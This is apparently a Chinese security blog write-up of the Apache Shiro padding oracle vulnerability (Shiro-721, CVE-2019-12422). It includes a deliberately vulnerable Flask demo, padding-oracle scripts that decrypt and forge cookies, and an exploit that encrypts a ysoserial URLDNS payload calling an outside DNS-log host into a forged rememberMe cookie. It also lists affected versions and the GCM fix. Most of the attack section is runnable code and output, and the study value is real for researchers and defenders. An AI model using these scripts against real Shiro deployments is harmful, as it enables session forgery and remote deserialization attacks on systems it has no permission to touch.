Shiro Padding Oracle Attack (shiro-721)
CVE-2019-12422
padding oracle attack
@Sakii 带我学密码.jpg
https://github.com/lcark/padding_oracle_attack/
https://lcark.github.io/2020/04/05/shiro-%E5%A4%9A%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data
https://blog.skullsecurity.org/2013/a-padding-oracle-example
https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth
https://github.com/inspiringz/Shiro-721
https://github.com/AonCyberLabs/PadBuster
http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
python 使用 aes : https://gist.github.com/lopes/168c9d74b988391e702aac5f4aa69e41
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from hashlib import md5from base64 import b64decodefrom base64 import b64encodefrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpadclass AESCipher : def __init__ (self, key ): self .key = md5(key.encode('utf8' )).digest() def encrypt (self, data ): iv = get_random_bytes(AES.block_size) self .cipher = AES.new(self .key, AES.MODE_CBC, iv) return b64encode(iv + self .cipher.encrypt(pad(data.encode('utf-8' ), AES.block_size))) def decrypt (self, data ): raw = b64decode(data) self .cipher = AES.new(self .key, AES.MODE_CBC, raw[:AES.block_size]) return unpad(self .cipher.decrypt(raw[AES.block_size:]), AES.block_size) def fuck (): print ('TESTING ENCRYPTION' ) msg = "fuck" pwd = "passwd" print ('Ciphertext:' , AESCipher(pwd).encrypt(msg).decode('utf-8' )) cte = "ElJu7k7JA0U+c08vcpB2ryextTYJDR6Ct5zFGlsMgW8=" pwd = "passwd" print ('Message...:' , AESCipher(pwd).decrypt(cte).decode('utf-8' )) if __name__ == '__main__' : fuck() pass
启动 demo server : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom flask import Flask, requestfrom base64 import b64decodefrom Crypto.Random import get_random_bytessecret_key = get_random_bytes(AES.block_size) app = Flask(__name__) @app.route('/fuck' ) def fuck (): data = b64decode(request.cookies['id' ].encode()) aes = AES.new(secret_key, AES.MODE_CBC, iv=data[:16 ]) id = unpad(aes.decrypt(data[16 :]), 16 ).decode("latin1" ) return f"Hello {id } !!" @app.route('/index' ) @app.route('/' ) def index (): data = "bitch" iv = get_random_bytes(AES.block_size) cipher = AES.new(secret_key, AES.MODE_CBC, iv) b = iv + cipher.encrypt(pad(data.encode('utf-8' ), AES.block_size)) return bytes .hex (b) if __name__ == "__main__" : app.run()
通过访问 /index
,会得到 data 加密之后密文的 hex ,其中 pad()
默认使用 pkcs7
而访问 /fuck
的时候,会将 cookie 中 的 id 给 base64 decode ,然后进行 aes cbc 解密,而解密得到的明文会通过 unpad
判断 padding 是否正确,如果错误的话就会 throw exception 返回 500 ,如果正确的话就会返回 200
解密任意数据 https://github.com/lcark/padding_oracle_attack/
https://lcark.github.io/2020/04/05/shiro-%E5%A4%9A%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
加密:
1 cipherBlock[i] = encrypt(cipherBlock[i - 1 ] ^ plainBlock[i])
解密:
1 2 decrypt(cipherBlock[i]) = cipherBlock[i-1 ] ^ plainBlock[i] decrypt(cipherBlock[i+1 ]) = cipherBlock[i] ^ plainBlock[i+1 ]
我们可以通过改变 cipherBlock[i-1]
来确定decrypt(cipherBlock[i])
进而得到明文
首先访问 /index
,拿到 hex :
1 602 a4 fee8878845 a3719 ca723 cfa7 a9 ba04e0 cc 03 ad012 b80631 b969 ea9010 a4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from padding_oracle_attack import payload_modelimport grequestsfrom requests import Request, Response, getfrom grequests import requestfrom base64 import b64decode,b64encodeclass payload (payload_model ): def padding_ok (self, resp:Response ) -> bool : if resp.status_code == 200 : return True else : return False def recover_fake_data (self, req:Request, fake_datas ): for fake_data in fake_datas: if b64encode(fake_data).decode() == req._cookies.get("id" ): return fake_data return None def make_request (self, fake_data ) -> request: cookies = { "id" : b64encode(fake_data).decode() } return request("get" , "http://127.0.0.1:5000/fuck" , cookies=cookies) if __name__ == "__main__" : m = payload("602a4fee8878845a3719ca723cfa7a9ba04e0cc03ad012b80631b969ea9010a4" ) m.run()
加密任意数据: 可以直接 伪造: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from h11 import Datafrom numpy import bytefrom padding_oracle_attack import payload_modelimport grequestsfrom requests import Request, Response, getfrom grequests import requestfrom base64 import b64decode,b64encodeclass payload (payload_model ): def padding_ok (self, resp:Response ) -> bool : if resp.status_code == 200 : return True else : return False def recover_fake_data (self, req:Request, fake_datas ): for fake_data in fake_datas: if b64encode(fake_data).decode() == req._cookies.get("id" ): return fake_data return None def make_request (self, fake_data ) -> request: id = b64encode(fake_data).decode() cookies = { "id" : id } return request("get" , "http://127.0.0.1:5000/fuck" , cookies=cookies) if __name__ == "__main__" : exp = b"fuck" m = payload(bytes .hex (exp),fake=True ) m.run()
1 2 3 from base64 import b64encodeb64encode(bytes .fromhex("cbf6a250165b588c06128919bb8e9ae1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ))
也可以拼接在其他 block 后面:
shiro721 就是这种情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from h11 import Datafrom numpy import bytefrom padding_oracle_attack import payload_modelimport grequestsfrom requests import Request, Response, getfrom grequests import requestfrom base64 import b64decode,b64encodeclass payload (payload_model ): def padding_ok (self, resp:Response ) -> bool : if resp.status_code == 200 : return True else : return False def recover_fake_data (self, req:Request, fake_datas ): for fake_data in fake_datas: if b64encode(bytes .fromhex("39af74cb5b64cac659b4e9e6a19c15c124d9ce4c5ff4b4497b86caac41c0316c" ) + fake_data).decode() == req._cookies.get("id" ): return fake_data return None def make_request (self, fake_data ) -> request: id = b64encode(bytes .fromhex("39af74cb5b64cac659b4e9e6a19c15c124d9ce4c5ff4b4497b86caac41c0316c" ) + fake_data).decode() cookies = { "id" : id } return request("get" , "http://127.0.0.1:5000/fuck" , cookies=cookies) if __name__ == "__main__" : exp = b"test" m = payload(bytes .hex (exp),fake=True ) m.run()
1 2 3 from base64 import b64encodeb64encode(bytes .fromhex("00240c2082b3dcb03b8256611bdd76faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ))
1 2 3 4 5 6 7 8 9 import requestsburp0_url = "http://127.0.0.1:5000/fuck" burp0_cookies = {"id" : "ACQMIIKz3LA7glZhG912+qqqqqqqqqqqqqqqqqqqqqo=" } burp0_headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "close" , "Referer" : "http://wsl.com:5000/" , "Upgrade-Insecure-Requests" : "1" , "Sec-Fetch-Dest" : "document" , "Sec-Fetch-Mode" : "navigate" , "Sec-Fetch-Site" : "cross-site" } resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) resp.content
shiro-721
CVE-2019-12422
https://shiro.apache.org/web.html#remember_me_services
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12422
https://issues.apache.org/jira/browse/SHIRO-721
https://www.anquanke.com/post/id/192819
https://www.anquanke.com/post/id/193165#h3-13
https://www.angelwhu.com/paper/2019/06/04/padding-oracle-an-introduction-to-the-attack-method-of-one-encryption-algorithm/#0x04-%E4%BB%8E%E7%A8%8B%E5%BA%8F%E5%91%98%E8%A7%86%E8%A7%92%E7%9C%8B%E4%BB%A3%E7%A0%81%E9%97%AE%E9%A2%98
影响版本:
shiro721:shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
shiro550 : shiro 在<= 1.2.4 的版本中存在反序列化漏洞,默认情况下会从 rememberMe Cookie 中取值并用硬编码的 cipher key 解密然后进行反序列化
环境搭建 这里用 shiro 1.4.1 :
1 2 3 D:\> git clone https://github.com/apache/shiro.git D:\> cd .\shiro\ D:\shiro> git checkout shiro-root-1 .4.1
然后运行 shiro\samples\web
中的代码
漏洞分析 shiro 1.2.5 之后,cipherKey
不再硬编码在 代码中,shiro 1.4.1 中是随机生成:
也有硬编码在配置文件中的情况:https://doc.yonyoucloud.com/doc/wiki/project/shiro/rememberme.html
rememberMe=deleteMe
对于含有 rememberMe Cookie 的 http 请求,如果发送的 rememberMe Cookie 能被解析成有效的身份标识,则返回的响应中不会有 rememberMe=deleteMe
,可以利用这点判断 key 是否正确
注意到 在 rememberMe 中的数据处理出错的时候,response 中 Set-Cookie
字段会有 rememberMe=deleteMe
出错的情况大致有两种:
aes 解密错误(包括 padding 出错)
数据反序列化报错
而 rememberMe 解析正常的话就没有 :
注意不要带 JSESSIONID
AES-128-CBC
默认情况下,rememberMe 使用的加密算法是 AES-128-CBC
:
AES-128-CBC
能够被 padding oracle attack 攻击
更多的可以被攻击的算法可以参考:https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth
One final word — and maybe this will help with Google results :) — I’ve tested this successfully against the following ciphers:
CAST-cbc
aes-128-cbc
aes-192-cbc
aes-256-cbc
bf-cbc
camellia-128-cbc
camellia-192-cbc
camellia-256-cbc
cast-cbc
cast5-cbc
des-cbc
des-ede-cbc
des-ede3-cbc
desx-cbc
rc2-40-cbc
rc2-64-cbc
rc2-cbc
seed-cbc
也就是说,如果能分辨 padding 出错与不出错这两种情况,就能在不知道 cipherKey
的情况下,构造能被正常解密的 payload
考虑到 payload 即使在爆破的过程中被成功 padding 了 ,也要保证此时 deserialize()
不能报错,否则没法分辨 padding 成功。因此,理想状态下是无论输入的 rememberMe 是什么, deserialize
都能成功
考虑 AES-128-cbc
的解密过程 和 java 反序列化的算法: aes-128-cbc
的解密过程可以参考 :http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
1 7B216A634951170F .F851D6CC68FC9537.858795 A28ED4AAC6
由上面的链接和图,可以知道, AES-128-CBC
是从密文的开头开始解密的,也就是说如果在一段 密文之后 追加任何合法的 padding ,解密之后 生成的明文 和 追加前生成的明文对比,开头总是不变的。
也就是说 **密文中追加的 padding 被解密后也是追加在原来的明文后面 ,不会影响原来的数据的完整性 **。
而 java 进行反序列化的时候,允许在序列化数据尾部添加任意脏数据,这些数据根本不会被读到,因此不会影响反序列化的正常进行
exploit
改了一下工具代码: https://github.com/1nhann/padding_oracle_attack/commit/cfa094990b11976112274605188ab560084d509a
1 root@ubuntu:~/ubuntu/padding_oracle_attack# ysoserial URLDNS "http://shiro721.abc789.ceye.io" > ser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from padding_oracle_attack import payload_modelfrom requests import Request, Response, getfrom grequests import requestfrom base64 import b64decode, b64encodefrom Crypto.Util.Padding import padclass Payload (payload_model ): def __init__ (self, data="" , fake=False , rememberMe = "" ): super ().__init__(data, fake) self .rememberMe = rememberMe def padding_ok (self, resp:Response ): if 'deleteMe' in resp.headers["Set-Cookie" ]: return False else : return True def recover_fake_data (self, req:Request, fake_datas ): rememberMe = self .rememberMe for fake_data in fake_datas: if b64encode((b64decode(rememberMe) + fake_data)).decode() == req._cookies.get("rememberMe" ): return fake_data return None def make_request (self, fake_data ) -> request: rememberMe = self .rememberMe rememberMe = b64encode((b64decode(rememberMe) + fake_data)).decode() cookies = { "rememberMe" : rememberMe } return request("get" , "http://win.com:8080/shiro721" , cookies=cookies) if __name__ == "__main__" : c = "zVDFRNC7qW7UQn1G+Vxz0UupzWXQbfzAe3QAMJOJnNd1FRd3YHKhI8Pk3EkEvGf3Bieo/hiIBtEsibIROHQgS42iJ31iH9UOvL+MnyOMVq6ta5PXAD62YrtP/GsNwvLDMIPaPfPZ/+4LRs2LsoPa/PSU1yj+XkvWA6JDX/zghXS4cOej0bNVO0DlHYnu01G8xmeekEfz9odTBzD/K3n9rEB2OoDShExGxgh3S2bYqA+j0y7BT6+C+LsksJ4OaYr7oc1351U93V5QPgtDsR/u2sqpq6C7afOMaYLXXcDW2P0ILdTp/wV7kMegQ9IZptnqFyrNhf7ffGbqPeVqYbJafwYz00c19TgwZ22fhA4cr/hR81+seWemEwqSAOn3pO67vv6wVsvidDH3klPKrjwi1p+vWjbt/b5ynGmYOxTsfHn/c6MxjAeWE3yTnh8JXP/7f5QNWYmy+AqeDvpa/QVF5SZ6mkeEdHSR7iTRTiNnEIzHpNYnLdNG3yJ6vPmmXQA/" exp = open ("~/ubuntu/padding_oracle_attack/ser" , "rb" ).read() payload = Payload(bytes .hex (exp), fake=True , rememberMe=c) data = payload.run() payload_cookie = b64encode(data).decode() print ("[+] payload cookie :" , payload_cookie)
1 29 JBGWm4 YXePZ8 Nnr3 wkulwHRPbTBaqrNbwT9 RZ2 O6 q/tnXeIx5 ZcIX5 PHGQECehVrzpCFkdXAyweNz6 b516 U8 jSpIGQj55 iyYAZvnFHTTpWKoibEmNaaJMlq46 Xml45 k4 WcrWujFPLCZCA4 KfYDAzurQX3 Pw30 v7 R
触发反序列化 (虽然也有 deleteMe ,但这是 URLDNS 这个 payload 运行是无法避免的):
修复 https://github.com/apache/shiro/compare/shiro-root-1.4.1...shiro-root-1.4.2
1.4.2 之后,默认不再使用 cbc 模式,而是使用 gcm 模式进行加密: